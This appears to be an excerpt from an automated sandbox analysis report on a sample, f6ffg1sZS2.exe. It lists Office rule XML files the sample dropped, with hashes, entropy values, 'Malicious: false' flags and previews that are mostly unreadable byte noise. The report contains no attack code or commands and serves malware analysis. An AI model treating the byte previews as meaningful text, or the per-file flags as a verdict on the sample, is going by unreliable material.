Preview:	<?xml.;&3.l.D.G:.E....x........+.n<.d..^.r......<...l.].ei...a..!'C..+..rU.f...Ib../.i1..R.;ZP2.VS..&L..._.A...f{(..o..d]{...i)....W.H..>p.k..U.h...~...U...m.I...]..6..j.7..\.k...\_8w.X.!..%.M].b...H....g...2...I..5..x.6..4..:A`..q.....l..........8.Wd...A..j...^'..j...ii..,}.qK.d6.ju...r.e..f.Y`....6I._......%.~..c........e_...%\|...\=....f['...._nt.....q..t.6.#..@....<.U..."..[i.........6.C.....J.^...p.BD...X........".<...B.]4t.0......I3...3@r[........C..-9...'Y...-\....)..)qfL....0..@.=.CK...v..l...#}Dq]...n..-..'.....n\.`...V.4.G^.....5).....~..\..;...J+..FY....B...w.="..D.P.@=!].=]v.3...!..}.@..D.]...E..z...0..J.2.Oo...X.........:.e>R.\..........$.....Xr.!..2..l..%_.'\|J-.MB.C..go.P.CR..)..b.)...*&.O&%..g...O.{.#.@....H.C...0.B.9X...J..0..."......s.....3.&.u=....J..i..A...nk..d..1.~..`y.B..l.G....!.D....s.U...Y.D..5......u...C';....H.S...d? .:...\|..D..Q}.(!.D.......M3r..S....5..W.....F.[...j._V..8..V.n..KF.W..:\|......d.x

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120201v14.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2974
Entropy (8bit):	7.926590368249361
Encrypted:	false
SSDEEP:	48:DSVmQMGCGzabatn4H9Oj/W2D3nMaMqytxhRl4gVxKYatpNil/6eLQeamRD:DSEQmb+jRjnMzqfg+vtp2DamZ
MD5:	E5FA0A5916EAB6E0BCF964F4FE9C50C5
SHA1:	CE48E2C6FA14CB167936E019E332D661FEA00A69
SHA-256:	F1BADF714B5FB623D15C978D29791D1B057E41EA9D5787C76BD0A4BD37E4AC3A
SHA-512:	30140830E292FE981E309705E94BB2F3AA8C9A56F1F62AB68FAF32A09C8E2CAB1A86411B0816D8847F6BB809687D868BB8AD4A34E13AF1CE3FF7BA0EC776E663
Malicious:	false
Preview:	<?xml..a....N...zI..z..k+=..u.........a)(...i_!z.P.m.z).uA.WVy......w.{.^.%_...G...@3.n.C..~.-..3.E....L..M....U....6...S.v._.a..l:e.e.xf.O....t....,6)y.).@.....%...d9eG5E<X......+.m.....C}..2..}...z...........u...).-.m.t.t.Y..Tf2.j..>..&.gQH...Xi...Ja...S...gm.2....g.^.'..;..lAm....m4pi.2....V.D..w..,..E..).\.&..}.J..T.=..{z}....,.._..l.#...cH......z...Yo.v...%.i...,j....#.....J..Z,Q.Fyn.n.!..........s...yPa....y...]."[..5..#kI9...5.gB..t..Wr.=.O.O.i..c.A...V.....J.~h.~@?..ne[Y../...A2.............S&..}d{....t+.B30..M.2..DDa.....j..e.!..v79.....S..x.....'d.Zi..k-...Q...IXM2E8K}..N..z{a.=....2.H..-..v.I...I..........AN...I..Y3.[+..aj.. }!h,s....g..J...;..C..qTZ....M..f.e.5..~...+(.2g$8..M.f.g.?.....e............k..f$A.....+Z.......zr..7.l......@..S.......d%..z.D..IT..A...>n.c.....R.2:,].aC....B.......vn......]....$..p.E...#.u..D`...d..}..<....Y....dq.,fH..O..R...T.o.>4....9....._V0..nU.4.0...fU.}h...X..../....Z#..D.6......N....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120205v11.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3363
Entropy (8bit):	7.947925953413377
Encrypted:	false
SSDEEP:	96:X7AmcJAUHgmO8LXxNJEPjCbEiTG0qnGec2:LAKI3XjlEmjqGu
MD5:	D37015879CCA4F4839F41DDB54DC0895
SHA1:	8F91A095C0A599099224285063C147F542FC5E47
SHA-256:	40F955ACF490D78CE98B939E24CD648FB06937DD95EC041CFBE0068B4471BB80
SHA-512:	7377CDD180DEBBDB0CA16AA897D4163D4ADA0190BB4F9150CCCEBD154D6E4B1D4FCDF917AD4B2BF7A8C3DCD3368429DFCE767A66DD5A04AA292D653E7351FA0B
Malicious:	false
Preview:	<?xml.}.D..]...#.....1..@0^a........o...2..C..H.4s!.......u...x...d..V...#Y..XI...+/ff[...Fc@..q.c.~...y..!.-.k.,.t6.....GU....O..xx.(...3.\hf0. \ob..=.!5........d.v..S.19.......]....-.\.......Ms.B.-..s.J....Pq.v^"t"..:~.....`..;.$e..........!......R..........A.....B..Sc:.t..'........W..X..........QKPF..k.A.....:S.z....w....4...C.!.... <.....x.U.Tp&...xb...HOU...3.$.../^Ug~....}@.e...L...V......:r....o.gV'!.!.n.....u..[.....#..... .C..vj.......\|"#..{.EN:.@..&..wX......C... ^.....v.f..r_..........;...*..T...8;q./.Q.)S5Q..6.kU..K.....@2@..o.0-...\|[G../..2-..V......)0..g..9.(..R..l...k.....4g.A.:.9...k...;R.$.%.Xn.wL.U.g.Pv.A.v;htX../. .q....#..}.o.9.n.\|....\|E..DH.@.N.Z.U...#.\|...L^3 .....A..0...~..H.....EH.wF..oe.......0..N.4N...{.=!.."J.\|&1.H.%..$.?..L......+..x.u.N.k.2.<.7v.....I....E...M..3..w.9i.F ..,h..4...B.r.M.=!i..?.0.....wsUey.+..m..2^....j...z..G.K.[.SP./.oS......!....D...g.S?...9..W....WI..N....\|WF..gg.:..q....}..F.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120300v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1295
Entropy (8bit):	7.841398576196739
Encrypted:	false
SSDEEP:	24:Ds1PGPMgX9bDIvwm8tR5+KhPLU6lnRv2iktNEgf0X7jAJZOCjbD:Ds1ePnDIvwzhPganRv2ioR0QXOC3D
MD5:	157D09F44C39783A58A39670B2ADB876
SHA1:	E59D58A32414750A160C62E6BE481FBD3F4DE0C4
SHA-256:	B5DFADD200B29F812029AD4EECCDDDFFF531C9C09F0C8C7C0CC42CAF187C22F3
SHA-512:	1FB98EF86A58ACD629555A0C4B51AE66BE97FFB23E1D3B39529A4D8560B804348BB2E21D2E5814195B33DB6240C494AEE9C752EF012FDE186D3AB2E20C2E0D47
Malicious:	false
Preview:	<?xml...4q.p..1..s.6.....FK.PC{.l. .7.v.D.a....C..gv.2g [..{=!E..e.w..._...D.0`.....o.x...."...+V..N.D.......Na..-I.i.x.X..K)..G...xJ.T.<djB..T2..n.OL..9..j5i..u....n...`=.Q._..x].&3..~I..: .S.O.T...e.o..b.1.i..(..n.u.4....8u....^..'G..f. .\|v.#~...HAT.Y..Z...E.{..Y.t...8CG=.b.p.X.Y.d...RC8.02.?.A..$v............ua.'.j+n...@k...b..G....N.1:..xo`..!.@.v.....m. ..]...{.8X.._...2.p.. .#..'.2-i...X...}..Cc..=.t..2.(.=...lj....90.n$E.a]..C.F)dB......8...E.L...}.J.....l...o^.{..`....}.,...j..s3]G"3......3.....#..Q.r.$.+..\|.;f.."v.r... ..i.L....?w.mUw..='.....'+L.G.y.e83..J...7>~.1.0.bd.7(...q....u....T%p............+.U.....R...,N...^-.K.g........E.......R]...h..{...... ^....FZ..}(..z..p....I/.^./..H........h!....]....h....,.=.......W..g.:....:.t.........=...H..f......o.....W....a..1=..p..'..JG.yj/.\|.g..t..I...}..}......!.3l..g....1...x~.?YF..\...8.....Pe...U...NL.b'.eR....r..s?.r..Qz.........%..b......uI.s/...../B.,.u.G..Y.....(...A.-.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120304v5.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2582
Entropy (8bit):	7.934611897187828
Encrypted:	false
SSDEEP:	48:LKMkSb1L3QlslvufOJQ5E/8qbfyujCfHpm4FwLl0RDLyAEaaF4WD:LxkBlsVufOw55YaRqAx3O
MD5:	B26E88BA0B02479529A313DB77BA2AEC
SHA1:	2E99643FBFCB1EAA37F70500FA4633A027AC9825
SHA-256:	D1BFEFE81718C5A48279A78AB1C1E4F7374ADF6C424603B3D8ED812743BFA3D1
SHA-512:	E949022E84FAB795BC908432DE30A3A538608D11999EC757B6DADA3D0060590C703A1764C9222BE4E2CA247AA78527E6A86DC2459A4C5E683C92186DC9A04044
Malicious:	false
Preview:	<?xml.lWGpb.....G._..b.=..:.{...LX-....H...^...c.. ..M......E...m.s.....~.....$.....##BZEM`hV.i..9$.mq8.2.......>q.<.(r\..w+.jH".&.....R..E=^...`..?...N......j..p.n'..Z..5...}.s..V..C........Ix.^.......a.+...c.._...o.Ep./S.]."...w!:..5.....e.+......wu4+....+...K..e{...`Ve.^.,(`...).S.`......$iN.RC.y.~.3........Iu.<.`L.q.K...@...h....-x&...f....u..Y.^...E...^.`.....M....R...^.W..............f.>0..v'.}r..>F.e.N....].1........f_b..9s.U.g>)......-..\|Ejs....54k3..F.....d.5.....E.j.P..Llq~\.f......@...z...M...6......_.W.]q.{...;:p...~..)..%.hEi..9\|...r3u...b......@ye{.C.KU..4..)F.!. ......p....G...0o......Q...v...r..x....Wt2.".\fJ:..v%2..5..k.w......Z(.a...jK..!..4.(.p.K...].G......_..'....f8......xS.........b1...._Pv....`\FFR.G.x.......R..4./\|.:{0....}F.N........<....4..G.F....%.J...Y..?.zc.\.......-7.`..._$..F...p.....`Z.L..>..H.w\.w...R".<.uA........:.!...c... .t..B>uf..3..xQ..."5.a..u:y.Z@....e...y..k7.tT.}..{*_...c.!.$....O7....sA$A....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120305v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	7.892653226214363
Encrypted:	false
SSDEEP:	48:5GZsnurkUWy4vNwK/Knao7EUNLxZSjIr76YOvUMFkWSB1OqxSgD:5GZVkUhKinRx0jIr76pzkp119
MD5:	2A27B72735E1E988A1CC5EAF1B79B6B4
SHA1:	C742FB9A4865F31FAD77EDBBD2B44B9D649B8380
SHA-256:	67DD2B2D22C013A5C6EF029B9001C747DCAD0AD4649813AFBE8C3F17699A3B85
SHA-512:	BBB238A20EF862549C796A28EFFF548A7563F8219CEE42FA5B09033A6E2ABFE12586F1044B0ED892595C241C4E2B275705DF6CFEAF3C45331EF0B84A47163557
Malicious:	false
Preview:	<?xml...&..h..n..^..x1}%..........F..G/......d.Y\.......<...KX.....z...ft......e..R:.X..M.....i......4.Y.q.u@...f.a..][..2.!L.].."..C...K......=p_..#3....;..9.A.7+t..2....]t.!32T...R.......#.....%/W..Z.c.d.f....+..6...{..p.n;..Lu.d.3c@...1..#$\|.f:+...).._?...B....04"t.t.....j`jkHb.M.U_.....!......z....H...t.4.-....?......m4....t:...tE..wV$.r..S..B.z{......."kP!Z..../4O.T.(...@.a_.\..e.1g.......g....K..F..w&/..n.........#..[...Y.u..i..q...P'.%.\.9........_i....2.....-..E.D..O.v.v..6........Zhq.....z.LV...YQEuT.+..dM..........].c.M.....UW.y.v..^y..U.Z.M.. A&..]=`.wg.;0e..E....w......#?;._6.LA.oc..B.....@.'.../..`&..<.$.k... ...G.]fd...6.pQ..... b."..7.+.`..~Vy.<...p...>&;.G.+0..B..E....e...w.0..e.Q.g.U....h....{.J....o.Y....&..9..H.H.$..S.......^..X?\~..km...>.p..Yy.~...?...a....A.&+...u.m{.......[...>R....Vn..y....=.^V@j.a.X.S...t.....gQ....eN...!L%..y.....!-+ZteT3..CM....#;.......1.1..E-......@^l8....i....0.....o.....h....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120307v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.864164214148145
Encrypted:	false
SSDEEP:	48:ktmhXaCaNwM4twVftk1jOq5IBvPf2cUwYIcHtGD:kt62wMCwVfMT5I92czcNe
MD5:	97156CA4E8231A07AB50512B8BC194E8
SHA1:	9904490C05B0110F8B8B422EEDC69FA52FB27AB5
SHA-256:	3B850FA4664FAB300139D900255FBB26F25EDD9D35D552757FB439E8AED62A82
SHA-512:	F163D85504D0536EA5CF87E11616C1D9BE86D9A6215F2D05531744517D81D4458CC402009CA08C9175BE261624D9DC877E454AD0B0D88EB4F1079736B606F2AB
Malicious:	false
Preview:	<?xml#..iKv.1R.l...5I..KU...Hs[...!.yA>....P.......kA7N..=T.lL..0/WdR..,......'y.......MO.$2.....%e.X....i.)....Hf..?M...n.:.p....b..\|.~kp=....Kc...L. aS..........~..3.8l.f.G..\|..x...LZ.\|2.q...$....r..J..2..>h.....;T\|v7..y'#:.c..=...A.....Hy.n-..$.2<.]L.@z.g.c..B.V.p<...m...7.:.."2..Z..s..P#...A.uBJ...U.G..B../..B...cA.a.T3q......NY..?-....L\|P.U<.M....l.T..z:.Dv..2..2.Wu...ks.M.A.B/Q%]..7a.Qn....'...-.2.m.s...3Q5...bG.s\|y.B....s..g.J......S..z.P..{`...],be..+.....L.X.4.H..:$...r.f.@2.?d...L..I6....lT'..V./."..g.kkn0......U..w......]V......K~k....5.But.dZX.>.}.......HyI.M.J.....j.@j....m..:#7..F..z...{s.\...1.l....I.c......dMi..s.....$..C.......5<..o.px.f..Ti.8N6..z...ke...=...m0...\w.n.V...6..=..;.L..EE.>.....68./..X^.t..9...$:.!..].`.N..W.........C....S.,O....7.R..ze..W....=x..d..K..q...d*(O.y.q......0e.D.+..g]..Dg.`.H.1...W..V.+H.T.g^..6.\........R...~..3......q(sA.g..U...k..D.K8..[....6.%...Y.Gxj..e+n.F.... r.7...q\|.Z..e......e......f...jEV.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule12035v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	7.9377364774227885
Encrypted:	false
SSDEEP:	48:y5/zPr+hqb53QVV1wyPX+fc5EyOFo+Vv8oUjyKN7UGK0xsYLwclmEpAOxABPFUt1:s/DAqbOVcyvk6EfFdUlxrK0xsg5lmEW8
MD5:	1DC66C2E897ABCE108AE4085EB0E6071
SHA1:	FBBA3C66ED8DF9784F2B91AE15F29258E96EF13C
SHA-256:	807E052C3B803E7D4AD7FC1DF28213F45E2D1014E892C987FD0C93445825E820
SHA-512:	7F8BA1F582F2EE8C847DF0EC43BD5B9AD9E3572AB5463DC5638E501611A396A74EA4FCA02EAA13186043546CE4640D96C0569DD143C51F7690C3C04623415FDD
Malicious:	false
Preview:	<?xml#.qr]?OuW..M^!..3..Q. n.-..`{@:..o0f...y....#..H?..'l.a/b..sRvo..J.s.!U.Pv.0.{9.q...~.:.."kD....K.."ke.:.7\.K9..M..'k..rS..U....C.F..F..#.0\|............ ..H...v.4....\..F.b/N..Y....b./\|=X..U.j.M.........G.M..p.jC.....J..5.xV...+Z..D.-....?..!m...H...g...vH-...9..=............S.N...2..7.(.o7....[.l.....\/.w.J0.5E...6.....,Y.M[.Dj{..,e.O.......@...-1V..1....n...h.....A....tc......,....${uQN.,m5.._oQ...E.........h../.R.V.:..{..)`'Z...`\|\\.5E.W8].w8....N...t.>f........\D.P...d.........)O0..,.VW+.(.p.....i..y,Js.<.;..sG.o..<SO...RA`]7{R;...8.X..i.L...].p.YP..8N.&.iu.....l...v..._7S....1.x.l....o.G.V.Z....e(.....#...}..a..u ...v..c..7.........<.-v1!A..\E1/...p.Ur..}i.....qj...2.....s.....-r.M,....k].xu;h.x..O..[a.M....~F....l.g...~.o.....D.pN.B/<.L...&...z.X.X...jmPK....dD.$..`..@.A."@"O....>~e.........%&..W.../.....I.~.....t.qn.Fe.....?@{..}..;Z.....'..];...^..u..d..../.....=...,v}FX....8.u.e.(...p...x.L......+.e.&.......1&.LH#..R....r.)...F2...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120402v21.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.954271345994708
Encrypted:	false
SSDEEP:	96:omvRpd++c8edpeF1tyDWfiWyqbhzE7RAfsuydWXzAS:jvjKaF1tmqbNkPuSWX0S
MD5:	C8167DD1E9799433C83B9F3A8E3D4128
SHA1:	CFA6A508FABF65C53B80DC70B69DC8E1187FFC3E
SHA-256:	59C603C613A015CB9297982794CDC231FAD0E141EA80B8D1F5ECB065067BDFAC
SHA-512:	1D3C412C46CC682C2DFCBA9EAE6422624FB1D32E6A88357D06522EB785E4951312EE15F8B03D98CC22807365086EAFAED635062173D7690322450EDB5E82D4BE
Malicious:	false
Preview:	<?xml"Z.h....p.......{...p ..fT...j...\.d..T.......\f.O....D.:....\|...Q'+{.t..X.Y.d...\|9u......w'@...d..i..k.]...K.r.<...=.i..L.qDyC..K.u.Z&/..z..G.xX..~"... .f....{..Xs.7aw.K..9....i'3h.3!\`.\.ks.l..x..]BMB.0>...,x....`......._d..$e...2c.-\..]Z.....".g.!....).".[C...@...\| 0p.y5Q.i4.-.....C.V...N.K..K5&....X.N.hc...r...`.<q..T.....h..G.o.@$U..}5.IP.e.x.9.e..]...........~...P..$.N.;....W9W~\cy]].fN..(l\|..IW...{N..HKT%G......w..,>..P.....(...-.9...7J}1{.M.7YK...>..L...\|..5.Z.....N.fO.r..sPa.L........3<.g..=..z..`5g .....;&1c>..?/..N .....M..^....)w.....B.....x&.`...U.Lu........9.=.... ..evi...0.......m...#_.d^Y.\.4!h.$......-1...S..%o7.j.^@..q....t.}........n..i.... <.o...=c.,c4.E..3......0.....q]..?.\|.....1:$&.... 7.3p..{..........\v.?..."...c.......{{..d.2......B.2a.@.6X.;S..".=.;...1-...~\|.i........>...0.F .%u.s.1.KrEb /..t..@[S.P...qk.#.@./...f...~!...Ur......Q'...)..{.x........m.}J.n.s.?h,...:.j...u.gA..;;....../..J.0...d..........H..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120501v17.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	8140
Entropy (8bit):	7.975499249850395
Encrypted:	false
SSDEEP:	192:zzKTp+wq9Gj6LUGF5KKr4RP6nxanJwD5OyLv3mGFdraLDfWjd:zIq9EuF5KKr4oxaeDZLuqduvg
MD5:	E36DF6A3692458ABA11D588AC8A8E76C
SHA1:	744DF2545D731C06A85A23B3601FDBA2CA415AF6
SHA-256:	7C61A38D802B5FC8B32868924CFC9EE85A09638F4F05473F0878D097FD108629
SHA-512:	2F68137622D6FFCA69A087BB33C21145897A8B38C0CA4C8A6C44BFB855B23CAFDE86EC0C6E72BDAB5BCAD0B16AD47C1AA40E7DB6E03084F29DC0E24209185ECA
Malicious:	false
Preview:	<?xml..'./&.q..t.\.M....Z$Gx....<..H.{........~....Ce6......r...s..NjA).8.%.....:..s=.........(CY....P........3z.e..w...>1...B..9.1..`U..1H.6^b...UB;...=.N........R.gl.5`.....=.F.dB...z....g.._;....W....hZY..M....,.^...3.....Syx.I...TG....8_3_..,./..Lr....l.._.l.".B..o..?r....-.%.^w.=5Ul]\|IC.#.X.T......^=2q).+...U;#oW...8..lm..1.+...u.B.NE.......(.....I.W..n9..../...e%^.7....R......>..;.C....h..?A..#......9.0.....q......(..A2...fIo.......?T.T....3...Q.t..xb"..q.J.j..D~\e.j.m......mb...Bq.K..-_.^....$. ^ ..wi.[..........b.`j..._1fOv./..%........M^X...Y.M0..,b.A...p..LP)^h..Z.FA.$W...H.8.../'.f..M{'...Q..../.....X.3.[........z......../i.9.... ...wE.F.,t....A..S....!.B.....m.a.mc4 t^u.$.x.].P..fX,.....)..Ix......8............v.!Gbq.,M.J...n{....n....M;i.....n..[..G..2^..t..df;`.m.v....GNTC..pi.9....'..Zh.L.C.-..X.....=Xd.W..6.Z5d.N(.VH..."...S.......*=G;...`..k...B...[o;...L._1....i..3.............~.N..~!.5........Hw>.`...Q..G.x.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120600v4.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3313
Entropy (8bit):	7.936664816144396
Encrypted:	false
SSDEEP:	96:K5Kb3K24sRLEl+ZxNfRbI/OUDUvMEgVCBUe4F:gW3K2TIk3fR8/OUA3BUp
MD5:	5CAB5E49678D225779E7903EEE23B421
SHA1:	DD3E6523566763014C3168B00C205F3E6EAA3DDA
SHA-256:	346A0C2AED69BA332F8B3A7174FF7D9A0A8E2A851755E54E4513A40B3B42B0E5
SHA-512:	D90CA6C7727DA78C2D9F3587DBFD35D55FF6BC7F84900B591F48E333C519BCB0A8C8807A6D9ABD008CF595C39BDD7AB229CA84653835BE129A8B91A6C09E103D
Malicious:	false
Preview:	<?xml...Wk......\|.-..f...o,..IJW`..x~._\.o..[.g"jB.O.(.;...l......vO.-..9VeH...b.d.7.....4,...n.).3....[..Y..~..[..qz.$g.....h5....sN...A.i.?8.=..'e..+..k........"..".a...;...'k../]....7UN.....8.@..E.L.Fu...1...o..f.....3}.c.j.J;\v@.........zv!}...E<B..6u....e....{H.fG..#..y.=......,de)...(.r.~.=.c..Bh..8..g..S..to....xzBb.\....2....,.E.../.&.Y[..}.,....F.7~.g..^.m.:..1....r....<%/.....PJ..G.....5.V.{.(qGI...+.eH...Y..2R.!w.#..8....Ca.$.g+7...vu...~6...U.>LL.....{VI/....>e)...@.........e8.27..`.Ym.lL.......e..k.I@.b@d#p.N..s.S?... e.cC.Q.X....kD..y...4?e.............Qu..<S!...\|.e...'..r...Z...3....a7....Z..7.E.~.._../.h..aJ8."..!6.q...Y0.A^...p..>.:.....4D~.P........ep...o.....=c}.-.......]..lH.m.{.hy.6..q.M..NI..3....\|1'...ji......GM..y..b..1.....lY.....f...".e...;....I.R.s..5l.......0it..vSS>..\P5...:m..^....q.S.^..MLs.!I~!..g.\.!.......$.W..t....wg.....L..'"..;.zE\|.........-. .F..p...u...V+(...Za..l...U.=./..r.b..I9..l.j..\|..q .*.f.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120601v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3675
Entropy (8bit):	7.952487878751573
Encrypted:	false
SSDEEP:	96:usvGLBMwVpQDXgMbWJx1AcCn39x1MJOk/ueYV:J2ywQDXJbox1ATn39x1MJOkg
MD5:	A841D0EE190BDADFCA09E53F66614552
SHA1:	735D75C82BC3086EE10FFD395EF6B5BA63366E11
SHA-256:	AC68BBE32DD79866A3BF45945C3978A6A968642A0D0400E12523FD1D50582C40
SHA-512:	071424508E6BAC1AC54BF23ECF0014C559DD99CDF8D6A7B67BDF579AEDBBBBF79EBBAB5A2142F4E2693DFFFF94B0BCF87DB17FB5B3593BB22E508D662FB34E79
Malicious:	false
Preview:	<?xml..v.B[..H..3...#...Rr..":..fo .....~......2.... .....,g..R.AC.........RYV..K._.<(.....%I..H.X.jZ...A.t^...\u....D_I.....Z!=Z.<&q=H6..h.j......w..VJ..)......Y.....}5[E....cYP.f....W.r.....[...D...{..o]'.......`i\|....m....+4. .@...9.....?.8..H.4.....g.yTv3h....9R.....V.p@;a.....V.-..I.V...@.3..kW>..+S....9....#./.wve....HI]...k..x.F...e#,..)B!H.t..HK......ds....v.?.8.\|..!...W2=JFB.....n.2?...~...3O.7QP[.\|.[\0...<.z.'.g.]V..vl..H....y..[{R..e.].\F..6....3..!.p..x.].._..t...7.qL.?..#.S......l%q%...s....Js[X.=`..05bW...."..&......w..KZ.\%}S.s.`.........7.,...M..6.........../;1.P..[...._:..9.9'~......F7...v..^..}b.:.mn.%....1.....C...R...qi.._..Gs.\C...<s..R\|..>..0R.e..Cn...M....Eh[eq+.q.`V.....}u........1V..7......y..<....x.x..#.R..13.....GE./g..*.......]..+.S../`.).......Q...kPNS.G.-b..a..4.O .i.!..... w0..N]..U.,jd..N,7.N..2.XDD.!N.....k..E'.&.>c..Qk..+....a.'..4oV...).........D.V.#c./... .0..A...Z..{....Z.,p.x.....w.$6...vA..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120602v8.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2924
Entropy (8bit):	7.9570414728407615
Encrypted:	false
SSDEEP:	48:IerPrilm3YAxpv928H5b6c0vqdzeDGNFSGsdn2p4gJKLpiG4AZ1pVvmc8F3chBD:IerPrilmoAvdH0c0eSjn2+OK973exxcH
MD5:	0CD01F4F390F72C922B9A1DB69136827
SHA1:	772E10B84C312E82943DF3E83D646C179CF810A5
SHA-256:	E75DF6E95F0E8987F668A99BC9FAE1541CFF932C0964BCD2012EE6E6D9D950F0
SHA-512:	183A9BC5982381E0D49E446F47F9282395CF8A5ADD16584F1DBC21CDC8C89A898C24149E72310D075BF862411CE922E123A0265472D9411179153198F7FB0EB7
Malicious:	false
Preview:	<?xml/..,e..P>9..m...@..z.H.\B..B#8..F.T..^..QZ..j.(..1..@g.c.7&.Km%S..=u).{L+....A.5..........J.......@`.W..r.}..SvS.....],....&.W.T~.8i..o.0..A~H.o..'..l...........J....@.....+$........7...3.....3..{'.,-..oSF..tN~.f..^g..x..o.[\|....Z.2_......^TG.l...H.l.O....`..)\|l.4../..w.M1..b..;.....5.w.....7.I.2..Q.b.n...MDb.MhEu.%=@.E...c.....E.L...5@t.m}.O.....W.x9?.V.$.).u.~..B.=UVdO........Y..Pw.z......A.=....9....$..J..n.:.4H...#>.q$fQ.+N..mu..#.."..J#..WHN.e.....`x9s.H.".(R.....P.)k.s..Y...$.C.U>R.;..4m.#.R.6...[...N.,9P...%\......L?}.....G....S......QN..._T...h..b......M.,[r<.v.-......V.;...r..Q.v...X6.........G...)..z...se.....8."^..f.!/...X.#........Q.N-.K.."z.1v.......(.2........,....)..~z..........."..7.....'Z.\|$....J.6...F.....".s.j...1u.......%..._.uP......?./......j..!.. 1w.a...u..3.......D..u5s5.+I.........J...S..3.....s.D..ID.:.+.......2b....1)..tE.<....TB.W..S.I....Kt.....b.M..,j.s.9.Yq...P._...J..v..c4....WF.&.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120603v8.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2461
Entropy (8bit):	7.91844290162394
Encrypted:	false
SSDEEP:	48:npRX5vVg20t5jXZkPP5bgqPyaEMZpZ9/sII6bAaqTzj/yKfgW9dAD:nvdagx56/opZyrLfgWs
MD5:	07429B7E8C7539D8C4CC71071CD49B9F
SHA1:	7BC3292FDC749C2A4D0701EB016FFCCFC8074F13
SHA-256:	252A0650921A116CA3BB652512A030491ACB1B7AA9AFA18FE4FD0DC65052AFC9
SHA-512:	213C04806DDAF48E92C5C0D27E84926B02C4954580FD8AE5C97ECCA61268DFE51EBF32EC32D954600B5139F6B90601888BAA3978AC02FAABE92DED5053A698C1
Malicious:	false
Preview:	<?xml.BH..N-\../1`.,.....B......0.+LV..:..'..$A.#0.\|....M.b......IJ^w.1...\..b....N..]m..iX..H....m.......9...;zY4.y..>.}...x9s...v:}5..S-....&..7\|..~:-".....7.....(.C......p..M...b..p!E....&b.X.\-9.>YN?.u.1:.S=.q~..P.NO...}.=.6..:.Z.B0&..Z.!!....P...=0)..a^.@./a..Xe...m2...w.B:.Z..AE4su.EN.&.. ..g.WNm...@P.....O.(.....H].}"...}...c:..z..P'.hI......h.).,h/...g.....x.9.ua....z.w...A}j........\..!.yD9[.iP0.....>%G.b..c.?c^...H....t.V.....q;......e6...-;...F-...).L..-2..V)>s'........]...6h...\|.?...(..F......q...,2..O.e?......d.N....b..4....@....#u.i....]r.S.o.._..HX..-...VDN...........`.....y/...B......M..wa8b&a..W"...Y.!....W.....cP1.C..D2#..M^...`#.D..rM..Y.........@.....}..v....I.......3......}Hsl.,.Dr.Z}w:r.S...j(S.uE.aM.......^...S<>0.........bK#g.Dd=.!e#qw.......\.&167)....1w(....o.t/]m0.`..S.....~*c6.!..6xT./5.;....[..d...B.@D..?]F.udm.E-...x...4H.AM..c.... .."..^R...]...+.E..W.9m5..96..Qp[.2N.c..(...@..q...+.)t.pT...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120604v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.673188917967055
Encrypted:	false
SSDEEP:	12:eYPo+mOpvHFuh1eMVaVjj6WrSEDItoAniyYs6I54g/xKqXS2cii9a:eYPo+mcUD87QoMrZ5PbD
MD5:	898C323D815BDD6F486475384173D94F
SHA1:	8C628A09D5772641F51025280152E5A8570F497E
SHA-256:	EB35227560F96D0A72535886A5E4A3F6414F234FD9CD26995ED6EC232510ADA4
SHA-512:	34A1F5F53558E3E9DAF06AA09EEF100234B6DAA1F460DE79A91E593DAE2CD2E3CBEBB0EA0D5B938E6595367A52C86DBD81D22B855D863D552EBEE4DE6554E102
Malicious:	false
